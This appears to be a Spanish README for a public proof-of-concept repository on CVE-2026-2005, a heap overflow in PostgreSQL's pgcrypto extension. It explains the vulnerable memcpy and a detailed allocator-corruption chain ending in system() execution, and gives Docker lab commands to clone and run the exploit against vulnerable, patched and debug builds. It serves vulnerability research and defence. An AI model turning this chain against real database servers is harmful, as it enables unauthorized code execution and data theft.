
Exploit para CVE-2026-2005, un desbordamiento de montón en la extensión pgcrypto de PostgreSQL que conduce a la ejecución remota de código. Incluye generadores de PoC, laboratorio Docker y análisis técnico detallado.
Ejecución remota de código mediante una única consulta SQL dirigida a la extensión pgcrypto de PostgreSQL. La vulnerabilidad es un desbordamiento de búfer en el montón en pgp_parse_pubenc_sesskey() que permite corromper los metadatos del asignador MemoryContext interno de PostgreSQL, logrando ejecución arbitraria de código como el usuario postgres.
| CVE | CVE-2026-2005 |
| Componente | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Desbordamiento de búfer basado en montón) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Afectados | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Corregido | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Divulgado | 2026-02-12 |
| Commit de corrección | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Esperar ~5s a que postgres se inicialice
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // controlado por el atacante
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key es uint8[32]
ctx->sess_key es un búfer fijo de 32 bytes incrustado en una estructura PGP_Context asignada en el montón. Un mensaje PGP manipulado con una clave de sesión cifrada RSA de tamaño excesivo eleva sess_key_len hasta ~200 bytes, desbordando las asignaciones adyacentes del montón. La corrección añade una comprobación de límites sess_key_len > PGP_MAX_KEY.
sess_key[32] escribe metadatos falsos del asignador en la asignación MBuf adyacenteMBuf->data = NULL para que explicit_bzero se omita durante la limpiezahdrmask forjado se decodifica como blockoffset=64, redirigiendo el puntero de bloque a datos controlados por el atacanteAllocSetFree escribe la dirección del chunk en MC+16 (el campo MemoryContext->methods), reemplazando el puntero de la tabla virtualMemoryContextDelete(MC) llama a methods->delete_context(MC) a través de nuestra tabla virtual falsa → system(MC)system() lee la estructura MemoryContext como una cadena: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → ejecuta /usr/local/bin/\xd5\x01pgcrypto instalada (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (incluido en Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # Generador y ejecutor de exploit autocontenido
│ ├── gen_exploit_v7.py # Constructor de payload anotado
│ ├── gen_payload.py # Generador de PoC solo de bloqueo (todos los tamaños de desbordamiento)
│ ├── poc_big.sql # PoC de bloqueo pregenerado (SIGSEGV)
│ └── poc_minimal.sql # PoC mínimo de desbordamiento de 4 bytes
├── lab/
│ ├── docker-compose.yml # Laboratorio completo: vulnerable, parcheado, depuración, exploit
│ ├── Dockerfile.exploit # Compilación de lanzamiento + script de activación (objetivo RCE)
│ ├── Dockerfile.vuln # Compilación vulnerable estándar (demostración de bloqueo)
│ ├── Dockerfile.debug # Compilación Cassert (demostración de aserción)
│ ├── init.sql # Inicialización de la base de datos
│ └── setup.sh # Asistente de configuración del laboratorio
├── reports/
│ ├── RCE-CHAIN.md # Informe técnico detallado de explotación
│ ├── REPORT.md # Informe de análisis de vulnerabilidad
│ └── TODO-FOR-RCE.md # Registro de desarrollo (completado)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Fragmentos de código fuente relevantes
| Contenedor | Puerto | Propósito |
|---|---|---|
pg-exploit | 5436 | Objetivo RCE (17.7 estándar + script de activación) |
pg-vuln | 5433 | Demostración de bloqueo (17.7 estándar, SIGSEGV) |
pg-fixed | 5434 | Compilación parcheada (17.8, rechaza el payload) |
pg-debug | 5435 | Compilación de depuración (cassert SIGABRT con atribución de fuente) |
# Iniciar todos los contenedores
cd lab && docker compose up -d
# Demostración de bloqueo (SIGSEGV en compilación estándar)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Compilación parcheada (rechaza correctamente)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Compilación de depuración (aserción con archivo:línea)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm. Diferentes compilaciones/entornos requieren recalibración de direcciones (mediante GDB o fuga de información).SELECT digest('x','md5')) en la misma conexión estabiliza el diseño del montón antes de la consulta del exploit.\xd5\x01 en PATH. El Dockerfile lo preinstala. La explotación en el mundo real requeriría acceso de escritura previo o un enfoque diferente con ROP/one-gadget.--enable-cassert abortan en la aserción antes de la escritura en la lista libre.379695d)Este exploit se proporciona únicamente con fines de investigación de seguridad autorizada y educativos. Úselo solo en entornos de laboratorio controlados con autorización explícita.